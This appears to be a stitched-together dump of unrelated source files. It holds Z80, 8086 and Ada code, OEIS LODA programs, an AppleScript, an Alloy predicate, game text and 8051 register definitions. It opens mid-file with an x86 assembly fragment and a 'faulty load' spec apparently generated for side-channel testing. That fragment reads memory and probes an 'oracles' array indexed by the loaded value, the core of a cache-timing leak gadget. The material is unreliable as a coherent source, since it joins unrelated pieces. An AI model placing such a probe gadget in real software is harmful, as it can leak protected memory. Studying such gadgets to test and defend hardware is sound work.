lea addresses_PSE+0x10e0c, %r13
nop
xor $48385, %r12
mov (%r13), %r11w
lea oracles, %r8
and $0xff, %r11
shlq $12, %r11
mov (%r8,%r11,1), %r11
pop %rsi
pop %rdi
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': True, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
libsrc/input/svi/in_Inkey.asm | jpoikela/z88dk | 640 | 9503 | ; uint in_Inkey(void)
; 08.2018 suborb
; Read current state of keyboard but only return
; keypress if a single key is pressed.
SECTION code_clib
PUBLIC in_Inkey
PUBLIC _in_Inkey
EXTERN in_keytranstbl
read_row:
inc d
ld a,d
out ($96),a
in a,($99)
cpl
and a
ret
; exit : carry set and HL = 0 for no keys registered
; else HL = ASCII character code
; uses : AF,BC,DE,HL
;
.in_Inkey
._in_Inkey
ld d,255
ld e,0
call read_row ;Row 0
jr nz,gotkey
ld e,8
call read_row ;Row 1
jr nz,gotkey
ld e,16
call read_row ;Row 2
jr nz,gotkey
ld e,24
call read_row ;Row 3
jr nz,gotkey
ld e,32
call read_row ;Row 4
jr nz,gotkey
ld e,40
call read_row ;Row 5
jr nz,gotkey
ld e,48
call read_row ;Row 6
and @11111100 ;Exclude shift and control keys
jr nz,gotkey
ld e,56
call read_row ;Row 7
jr nz,gotkey
ld e,64
call read_row ;Row 8
jr nz,gotkey
nokey:
ld hl,0 ;No key pressed
scf
ret
gotkey:
; a = key pressed
; e = offset
ld c,8
hitkey_loop:
rlca
jr c,doneinc
inc e
dec c
jr nz,hitkey_loop
doneinc:
; e = offset in table
; Check for shift and control
ld a,6
out ($96),a
in a,($99)
cpl
ld bc, 72 * 2
bit 1,a ;Control
jr nz, got_modifier
ld bc, 72
bit 0,a
jr nz,got_modifier
ld bc,0
got_modifier:
ld d,0
ld hl,in_keytranstbl
add hl,bc
add hl,de
ld a,(hl)
cp 255
jr z, nokey
ld l,a
ld h,0
and a
ret
|
SourceCode/divide.asm | Nuthi-Sriram/Assembly-Level-Code-for-8086 | 0 | 19289 | .model small
.stack
.data
.code
.startup
;mov ax,5h
;mov bl,2h
;div bl
mov dx, WORD PTR 244h
mov ax, WORD PTR 259h
mov bl,8h
div bl
end
|
src/Projects/Backup/eu_projects-identifiers.ads | fintatarta/eugen | 0 | 8000 | <reponame>fintatarta/eugen<filename>src/Projects/Backup/eu_projects-identifiers.ads
with Ada.Characters.Handling; use Ada.Characters.Handling;
with Ada.Strings.Bounded;
package EU_Projects.Identifiers is
type Identifier is private;
function "=" (X, Y : Identifier) return Boolean;
function "<" (X, Y : Identifier) return Boolean;
function Join (X, Y : Identifier) return Identifier;
-- A valid identifier:
-- * every character is a letter, a digit or an underscore
-- * the first character must be a letter
-- * the last character cannot be an underscore
-- * it cannot have two consecutive underscores
function Is_Valid_Identifier (X : String) return Boolean
is (
(X'Length > 0)
and then (Is_Letter (X (X'First))
and Is_Alphanumeric (X (X'Last)))
and then (for all I in X'Range =>
(Is_Alphanumeric (X (I))
or (X (I) = '_' and Is_Alphanumeric (X (I + 1)))))
);
function To_ID (X : String) return Identifier
with Pre => Is_Valid_Identifier (X);
function Image (X : Identifier) return String;
Bad_Identifier : exception;
private
package ID_Names is new
Ada.Strings.Bounded.Generic_Bounded_Length (16);
use type ID_Names.Bounded_String;
type Identifier is
record
ID : ID_Names.Bounded_String;
end record;
function Image (X : Identifier) return String
is (ID_Names.To_String (ID_Names.Bounded_String (X.ID)));
function "=" (X, Y : Identifier) return Boolean
is (ID_Names.Bounded_String (X.ID) = ID_Names.Bounded_String (Y.ID));
function "<" (X, Y : Identifier) return Boolean
is (ID_Names.Bounded_String (X.ID) > ID_Names.Bounded_String (Y.ID));
function Join (X, Y : Identifier) return Identifier
is (ID => X.ID & "." & Y.ID);
end EU_Projects.Identifiers;
|
memsim-master/src/benchmark-matrix-cholesky.adb | strenkml/EE368 | 0 | 13477 | <reponame>strenkml/EE368
package body Benchmark.Matrix.Cholesky is
function Create_Cholesky return Benchmark_Pointer is
begin
return new Cholesky_Type;
end Create_Cholesky;
procedure Run(benchmark : in Cholesky_Type) is
addr : Natural;
begin
for i in 0 .. benchmark.size - 1 loop
addr := i * benchmark.size + i;
Read(benchmark, Address_Type(addr) * 4, 4);
for j in 0 .. i loop
addr := i * benchmark.size + j;
Read(benchmark, Address_Type(addr) * 4, 4);
end loop;
for j in i + 1 .. benchmark.size - 1 loop
addr := i * benchmark.size + j;
Read(benchmark, Address_Type(addr) * 4, 4);
for k in 0 .. i loop
addr := j * benchmark.size + k;
Read(benchmark, Address_Type(addr) * 4, 4);
addr := i * benchmark.size + k;
Read(benchmark, Address_Type(addr) * 4, 4);
end loop;
addr := j * benchmark.size + i;
Write(benchmark, Address_Type(addr) * 4, 4);
end loop;
end loop;
end Run;
end Benchmark.Matrix.Cholesky;
|
memsim-master/src/memory-trace.ads | strenkml/EE368 | 0 | 18177 |
with Memory.Container; use Memory.Container;
package Memory.Trace is
type Trace_Type is new Container_Type with private;
type Trace_Pointer is access all Trace_Type'Class;
function Create_Trace(mem : Memory_Pointer) return Trace_Pointer;
overriding
function Clone(mem : Trace_Type) return Memory_Pointer;
overriding
procedure Read(mem : in out Trace_Type;
address : in Address_Type;
size : in Positive);
overriding
procedure Write(mem : in out Trace_Type;
address : in Address_Type;
size : in Positive);
overriding
procedure Idle(mem : in out Trace_Type;
cycles : in Time_Type);
private
type Trace_Type is new Container_Type with null record;
end Memory.Trace;
|
programs/oeis/188/A188261.asm | neoneye/loda | 22 | 23777 | <reponame>neoneye/loda
; A188261: Positions of 0 in A188260; complement of A188262.
; 1,5,9,13,17,18,22,26,30,34,35,39,43,47,51,52,56,60,64,68,69,73,77,81,85,89,90,94,98,102,106,107,111,115,119,123,124,128,132,136,140,141,145,149,153,157,161,162,166,170,174,178,179,183,187,191,195,196,200,204,208,212,213,217,221,225,229,233
mul $0,4
add $0,26
mov $2,26
mov $3,1
sub $3,$0
div $3,21
mul $3,3
add $2,$3
add $0,$2
mul $0,2
sub $0,98
div $0,2
add $0,1
|
inc/battle_msgs.asm | hansbonini/-SMD-Phantasy-Star-3 | 1 | 241046 | <filename>inc/battle_msgs.asm
loc_3D90A:
dc.b "You've been ambushed!"
dc.b $FC
loc_3D920:
dc.b "You surprise the monster"
dc.b $FC
BattleRunAttemptMsg:
dc.b "You try to escape..."
dc.b $FC
loc_3D94E:
dc.b "But you can't get away!"
dc.b $FC
loc_3D966:
dc.s character, " attacks!"
dc.b $FC
loc_3D972:
dc.s "Damage ", quantity
dc.b $FC
loc_3D97C:
dc.s character, "'s party won."
dc.b $F8
dc.s "Earned ", quantity, " XP"
dc.b $F8
dc.s "and ", money_qty, " meseta."
dc.b $FC
loc_3D9A8:
dc.s character, " won."
dc.b $F8
dc.s "Earned ", quantity, " XP"
dc.b $F8
dc.s "and ", money_qty, " meseta."
dc.b $FC
loc_3D9CC:
dc.s character, " gained a level!"
dc.b $FC
loc_3D9DF:
dc.s character, " has no weapon!"
dc.b $FC
loc_3D9F1:
dc.s character, " defended ", name, "."
dc.b $FC
loc_3DA01:
dc.s character, "'s defense increasd."
dc.b $FC
loc_3DA18:
dc.s character, " has no techniques."
dc.b $FC
loc_3DA2E:
dc.b "Not enough Tech Pts."
dc.b $FC
loc_3DA43:
dc.b "You can't use that."
dc.b $FC
loc_3DA57:
dc.s character, " used ", name, "."
dc.b $FC
loc_3DA63:
dc.s "Effectiveness is ", quantity, "."
dc.b $FC
loc_3DA78:
dc.s character, " can no longer fight"
dc.b $FC
loc_3DA8F:
dc.b "You have been defeated."
dc.b $FC
loc_3DAA7:
dc.s character, " has been poisoned."
dc.b $FC
loc_3DABD:
dc.b "Succeeded!"
dc.b $FC
loc_3DAC8:
dc.b "Failed!"
dc.b $FC
|
oeis/223/A223565.asm | neoneye/loda-programs | 11 | 83983 | <filename>oeis/223/A223565.asm
; A223565: Number of nX4 0..1 arrays with antidiagonals unimodal
; Submitted by <NAME>
; 16,256,3136,34496,379456,4174016,45914176,505055936,5555615296,61111768256,672229450816,7394523958976,81339763548736,894737399036096,9842111389397056,108263225283367616,1190895478117043776,13099850259287481536,144098352852162296896,1585081881373785265856,17435900695111637924416,191794907646228017168576,2109743984108508188854336,23207183825193590077397696,255279022077129490851374656,2808069242848424399365121216,30888761671332668393016333376,339776378384659352323179667136
mov $3,1
lpb $0
sub $0,1
mul $1,10
add $3,2
add $3,$1
add $2,$3
mov $1,$2
mov $2,4
lpe
mov $0,$1
mul $0,80
add $0,16
|
oeis/053/A053385.asm | neoneye/loda-programs | 11 | 6025 | ; A053385: A053398(5, n).
; Submitted by <NAME>(s4)
; 0,1,0,3,0,1,0,3,0,1,0,4,0,1,0,4,0,1,0,3,0,1,0,3,0,1,0,5,0,1,0,5,0,1,0,3,0,1,0,3,0,1,0,4,0,1,0,4,0,1,0,3,0,1,0,3,0,1,0,6,0,1,0,6,0,1,0,3,0,1,0,3,0,1,0,4,0,1,0,4,0,1,0,3,0,1,0,3,0,1,0,5,0,1,0,5,0,1,0,3
seq $0,98894 ; Values of n such that {s(1),...,s(n)} is a palindrome, where {s(1),s(2),...} is the fixed-point of the substitutions 0->1 and 1->110.
lpb $0
dif $0,2
add $1,1
lpe
mov $0,$1
|
Fix_itunes_names_and_numbers.scpt | dldnh/fix-itunes-names | 1 | 1082 | -- Copyright (c) 2018 <NAME>
tell application "iTunes"
repeat with atrack in tracks of library playlist 1
if kind of atrack = "MPEG audio file" then
set n1 to name of atrack as text
set dd to text 1 thru 2 of n1
set tt to text 4 thru 5 of n1
try
set d to dd as number
set t to tt as number
set prefix to dd & "-" & tt & "- "
if n1 starts with prefix then
set n2 to text ((length of prefix) + 1) thru -1 of n1
if disc number of atrack = 0 then
set disc number of atrack to d
end if
if track number of atrack = 0 then
set track number of atrack to t
end if
set name of atrack to n2
log n2
end if
end try
end if
end repeat
end tell
|
alloy4fun_models/trainstlt/models/2/k3MWgFeZfCfT9NbKK.als | Kaixi26/org.alloytools.alloy | 0 | 4751 | open main
pred idk3MWgFeZfCfT9NbKK_prop3 {
always all t: Train, tk: Track | t->tk in pos implies always t->tk in pos
}
pred __repair { idk3MWgFeZfCfT9NbKK_prop3 }
check __repair { idk3MWgFeZfCfT9NbKK_prop3 <=> prop3o } |
programs/oeis/182/A182361.asm | jmorken/loda | 1 | 176380 | ; A182361: a(n+1) = a(n) + floor(a(n)/8) with a(0)=8.
; 8,9,10,11,12,13,14,15,16,18,20,22,24,27,30,33,37,41,46,51,57,64,72,81,91,102,114,128,144,162,182,204,229,257,289,325,365,410,461,518,582,654,735,826,929,1045,1175,1321,1486,1671,1879,2113,2377,2674,3008
mov $3,9
lpb $0
sub $0,1
mul $3,9
sub $3,1
div $3,8
lpe
mov $0,3
mov $2,$3
sub $2,6
add $0,$2
mov $1,$0
add $1,2
|
libsrc/games/enterprise/bit_close.asm | andydansby/z88dk-mk2 | 1 | 87537 | <filename>libsrc/games/enterprise/bit_close.asm<gh_stars>1-10
; $Id: bit_close.asm,v 1.1 2011/03/18 07:12:41 stefano Exp $
;
; Enterprise 64/128 1 bit sound functions
;
; void bit_close();
;
; <NAME> - 2011
;
XLIB bit_close
.bit_close
ret
|
src/framework/text.asm | Scorpion-Illuminati/ControllerTest | 1 | 170612 | <filename>src/framework/text.asm
;==============================================================
; BIG EVIL CORPORATION .co.uk
;==============================================================
; SEGA Genesis Framework (c) <NAME> 2014
;==============================================================
; text.asm - Font loading and text display
;==============================================================
LoadFont:
; a0 - Font address (l)
; d0 - VRAM address (w)
; d1 - Num chars (w)
swap d0 ; Shift VRAM addr to upper word
add.l #vdp_write_tiles, d0 ; VRAM write cmd + VRAM destination address
move.l d0, vdp_control ; Send address to VDP cmd port
subq.b #0x1, d1 ; Num chars - 1
@CharCopy:
move.w #0x07, d2 ; 8 longwords in tile
@LongCopy:
move.l (a0)+, vdp_data ; Copy one line of tile to VDP data port
dbra.w d2, @LongCopy
dbra.w d1, @CharCopy
rts
DrawTextPlaneA:
; a0 (l) - String address
; d0 (w) - First tile ID of font
; d1 (bb)- XY coord (in tiles)
; d2 (b) - Palette
clr.l d3 ; Clear d3 ready to work with
move.b d1, d3 ; Move Y coord (lower byte of d1) to d3
mulu.w #vdp_plane_width, d3 ; Multiply Y by line width (H40 mode - 64 tiles horizontally) to get Y offset
ror.l #0x8, d1 ; Shift X coord from upper to lower byte of d1
add.b d1, d3 ; Add X coord to offset
mulu.w #0x2, d3 ; Convert to words
swap d3 ; Shift address offset to upper word
add.l #vdp_write_plane_a, d3 ; Add PlaneA write cmd + address
move.l d3, vdp_control ; Send to VDP control port
clr.l d3 ; Clear d3 ready to work with again
move.b d2, d3 ; Move palette ID (lower byte of d2) to d3
rol.l #0x8, d3 ; Shift palette ID to bits 14 and 15 of d3
rol.l #0x5, d3 ; Can only rol bits up to 8 places in one instruction
lea ASCIIMap, a1 ; Load address of ASCII map into a1
@CharCopy:
move.b (a0)+, d2 ; Move ASCII byte to lower byte of d2
cmp.b #0x0, d2 ; Test if byte is zero (string terminator)
beq @End ; If byte was zero, branch to end
sub.b #ASCIIStart, d2 ; Subtract first ASCII code to get table entry index
move.b (a1,d2.w), d3 ; Move tile ID from table (index in lower word of d2) to lower byte of d3
add.w d0, d3 ; Offset tile ID by first tile ID in font
move.w d3, vdp_data ; Move palette and pattern IDs to VDP data port
jmp @CharCopy ; Next character
@End:
rts
|
lab5/C851F38x_ADC_multiple_inputs.asm | jeffliou64/elec291 | 0 | 165659 | <filename>lab5/C851F38x_ADC_multiple_inputs.asm
;--------------------------------------------------------
; File Created by C51
; Version 1.0.0 #1069 (Apr 23 2015) (MSVC)
; This file was generated Sun Mar 06 17:23:20 2016
;--------------------------------------------------------
$name C851F38x_ADC_multiple_inputs
$optc51 --model-small
$printf_float
R_DSEG segment data
R_CSEG segment code
R_BSEG segment bit
R_XSEG segment xdata
R_PSEG segment xdata
R_ISEG segment idata
R_OSEG segment data overlay
BIT_BANK segment data overlay
R_HOME segment code
R_GSINIT segment code
R_IXSEG segment xdata
R_CONST segment code
R_XINIT segment code
R_DINIT segment code
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
public _main
public _UART0_Init
public _TIMER0_Init
public _waitms
public _Timer3us
public _PORT_Init
public _SYSCLK_Init
public __c51_external_startup
;--------------------------------------------------------
; Special Function Registers
;--------------------------------------------------------
_P0 DATA 0x80
_SP DATA 0x81
_DPL DATA 0x82
_DPH DATA 0x83
_EMI0TC DATA 0x84
_EMI0CF DATA 0x85
_OSCLCN DATA 0x86
_PCON DATA 0x87
_TCON DATA 0x88
_TMOD DATA 0x89
_TL0 DATA 0x8a
_TL1 DATA 0x8b
_TH0 DATA 0x8c
_TH1 DATA 0x8d
_CKCON DATA 0x8e
_PSCTL DATA 0x8f
_P1 DATA 0x90
_TMR3CN DATA 0x91
_TMR4CN DATA 0x91
_TMR3RLL DATA 0x92
_TMR4RLL DATA 0x92
_TMR3RLH DATA 0x93
_TMR4RLH DATA 0x93
_TMR3L DATA 0x94
_TMR4L DATA 0x94
_TMR3H DATA 0x95
_TMR4H DATA 0x95
_USB0ADR DATA 0x96
_USB0DAT DATA 0x97
_SCON DATA 0x98
_SCON0 DATA 0x98
_SBUF DATA 0x99
_SBUF0 DATA 0x99
_CPT1CN DATA 0x9a
_CPT0CN DATA 0x9b
_CPT1MD DATA 0x9c
_CPT0MD DATA 0x9d
_CPT1MX DATA 0x9e
_CPT0MX DATA 0x9f
_P2 DATA 0xa0
_SPI0CFG DATA 0xa1
_SPI0CKR DATA 0xa2
_SPI0DAT DATA 0xa3
_P0MDOUT DATA 0xa4
_P1MDOUT DATA 0xa5
_P2MDOUT DATA 0xa6
_P3MDOUT DATA 0xa7
_IE DATA 0xa8
_CLKSEL DATA 0xa9
_EMI0CN DATA 0xaa
__XPAGE DATA 0xaa
_SBCON1 DATA 0xac
_P4MDOUT DATA 0xae
_PFE0CN DATA 0xaf
_P3 DATA 0xb0
_OSCXCN DATA 0xb1
_OSCICN DATA 0xb2
_OSCICL DATA 0xb3
_SBRLL1 DATA 0xb4
_SBRLH1 DATA 0xb5
_FLSCL DATA 0xb6
_FLKEY DATA 0xb7
_IP DATA 0xb8
_CLKMUL DATA 0xb9
_SMBTC DATA 0xb9
_AMX0N DATA 0xba
_AMX0P DATA 0xbb
_ADC0CF DATA 0xbc
_ADC0L DATA 0xbd
_ADC0H DATA 0xbe
_SFRPAGE DATA 0xbf
_SMB0CN DATA 0xc0
_SMB1CN DATA 0xc0
_SMB0CF DATA 0xc1
_SMB1CF DATA 0xc1
_SMB0DAT DATA 0xc2
_SMB1DAT DATA 0xc2
_ADC0GTL DATA 0xc3
_ADC0GTH DATA 0xc4
_ADC0LTL DATA 0xc5
_ADC0LTH DATA 0xc6
_P4 DATA 0xc7
_TMR2CN DATA 0xc8
_TMR5CN DATA 0xc8
_REG01CN DATA 0xc9
_TMR2RLL DATA 0xca
_TMR5RLL DATA 0xca
_TMR2RLH DATA 0xcb
_TMR5RLH DATA 0xcb
_TMR2L DATA 0xcc
_TMR5L DATA 0xcc
_TMR2H DATA 0xcd
_TMR5H DATA 0xcd
_SMB0ADM DATA 0xce
_SMB1ADM DATA 0xce
_SMB0ADR DATA 0xcf
_SMB1ADR DATA 0xcf
_PSW DATA 0xd0
_REF0CN DATA 0xd1
_SCON1 DATA 0xd2
_SBUF1 DATA 0xd3
_P0SKIP DATA 0xd4
_P1SKIP DATA 0xd5
_P2SKIP DATA 0xd6
_USB0XCN DATA 0xd7
_PCA0CN DATA 0xd8
_PCA0MD DATA 0xd9
_PCA0CPM0 DATA 0xda
_PCA0CPM1 DATA 0xdb
_PCA0CPM2 DATA 0xdc
_PCA0CPM3 DATA 0xdd
_PCA0CPM4 DATA 0xde
_P3SKIP DATA 0xdf
_ACC DATA 0xe0
_XBR0 DATA 0xe1
_XBR1 DATA 0xe2
_XBR2 DATA 0xe3
_IT01CF DATA 0xe4
_CKCON1 DATA 0xe4
_SMOD1 DATA 0xe5
_EIE1 DATA 0xe6
_EIE2 DATA 0xe7
_ADC0CN DATA 0xe8
_PCA0CPL1 DATA 0xe9
_PCA0CPH1 DATA 0xea
_PCA0CPL2 DATA 0xeb
_PCA0CPH2 DATA 0xec
_PCA0CPL3 DATA 0xed
_PCA0CPH3 DATA 0xee
_RSTSRC DATA 0xef
_B DATA 0xf0
_P0MDIN DATA 0xf1
_P1MDIN DATA 0xf2
_P2MDIN DATA 0xf3
_P3MDIN DATA 0xf4
_P4MDIN DATA 0xf5
_EIP1 DATA 0xf6
_EIP2 DATA 0xf7
_SPI0CN DATA 0xf8
_PCA0L DATA 0xf9
_PCA0H DATA 0xfa
_PCA0CPL0 DATA 0xfb
_PCA0CPH0 DATA 0xfc
_PCA0CPL4 DATA 0xfd
_PCA0CPH4 DATA 0xfe
_VDM0CN DATA 0xff
_DPTR DATA 0x8382
_TMR2RL DATA 0xcbca
_TMR3RL DATA 0x9392
_TMR4RL DATA 0x9392
_TMR5RL DATA 0xcbca
_TMR2 DATA 0xcdcc
_TMR3 DATA 0x9594
_TMR4 DATA 0x9594
_TMR5 DATA 0xcdcc
_SBRL1 DATA 0xb5b4
_ADC0 DATA 0xbebd
_ADC0GT DATA 0xc4c3
_ADC0LT DATA 0xc6c5
_PCA0 DATA 0xfaf9
_PCA0CP1 DATA 0xeae9
_PCA0CP2 DATA 0xeceb
_PCA0CP3 DATA 0xeeed
_PCA0CP0 DATA 0xfcfb
_PCA0CP4 DATA 0xfefd
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
_P0_0 BIT 0x80
_P0_1 BIT 0x81
_P0_2 BIT 0x82
_P0_3 BIT 0x83
_P0_4 BIT 0x84
_P0_5 BIT 0x85
_P0_6 BIT 0x86
_P0_7 BIT 0x87
_TF1 BIT 0x8f
_TR1 BIT 0x8e
_TF0 BIT 0x8d
_TR0 BIT 0x8c
_IE1 BIT 0x8b
_IT1 BIT 0x8a
_IE0 BIT 0x89
_IT0 BIT 0x88
_P1_0 BIT 0x90
_P1_1 BIT 0x91
_P1_2 BIT 0x92
_P1_3 BIT 0x93
_P1_4 BIT 0x94
_P1_5 BIT 0x95
_P1_6 BIT 0x96
_P1_7 BIT 0x97
_S0MODE BIT 0x9f
_SCON0_6 BIT 0x9e
_MCE0 BIT 0x9d
_REN0 BIT 0x9c
_TB80 BIT 0x9b
_RB80 BIT 0x9a
_TI0 BIT 0x99
_RI0 BIT 0x98
_SCON_6 BIT 0x9e
_MCE BIT 0x9d
_REN BIT 0x9c
_TB8 BIT 0x9b
_RB8 BIT 0x9a
_TI BIT 0x99
_RI BIT 0x98
_P2_0 BIT 0xa0
_P2_1 BIT 0xa1
_P2_2 BIT 0xa2
_P2_3 BIT 0xa3
_P2_4 BIT 0xa4
_P2_5 BIT 0xa5
_P2_6 BIT 0xa6
_P2_7 BIT 0xa7
_EA BIT 0xaf
_ESPI0 BIT 0xae
_ET2 BIT 0xad
_ES0 BIT 0xac
_ET1 BIT 0xab
_EX1 BIT 0xaa
_ET0 BIT 0xa9
_EX0 BIT 0xa8
_P3_0 BIT 0xb0
_P3_1 BIT 0xb1
_P3_2 BIT 0xb2
_P3_3 BIT 0xb3
_P3_4 BIT 0xb4
_P3_5 BIT 0xb5
_P3_6 BIT 0xb6
_P3_7 BIT 0xb7
_IP_7 BIT 0xbf
_PSPI0 BIT 0xbe
_PT2 BIT 0xbd
_PS0 BIT 0xbc
_PT1 BIT 0xbb
_PX1 BIT 0xba
_PT0 BIT 0xb9
_PX0 BIT 0xb8
_MASTER0 BIT 0xc7
_TXMODE0 BIT 0xc6
_STA0 BIT 0xc5
_STO0 BIT 0xc4
_ACKRQ0 BIT 0xc3
_ARBLOST0 BIT 0xc2
_ACK0 BIT 0xc1
_SI0 BIT 0xc0
_MASTER1 BIT 0xc7
_TXMODE1 BIT 0xc6
_STA1 BIT 0xc5
_STO1 BIT 0xc4
_ACKRQ1 BIT 0xc3
_ARBLOST1 BIT 0xc2
_ACK1 BIT 0xc1
_SI1 BIT 0xc0
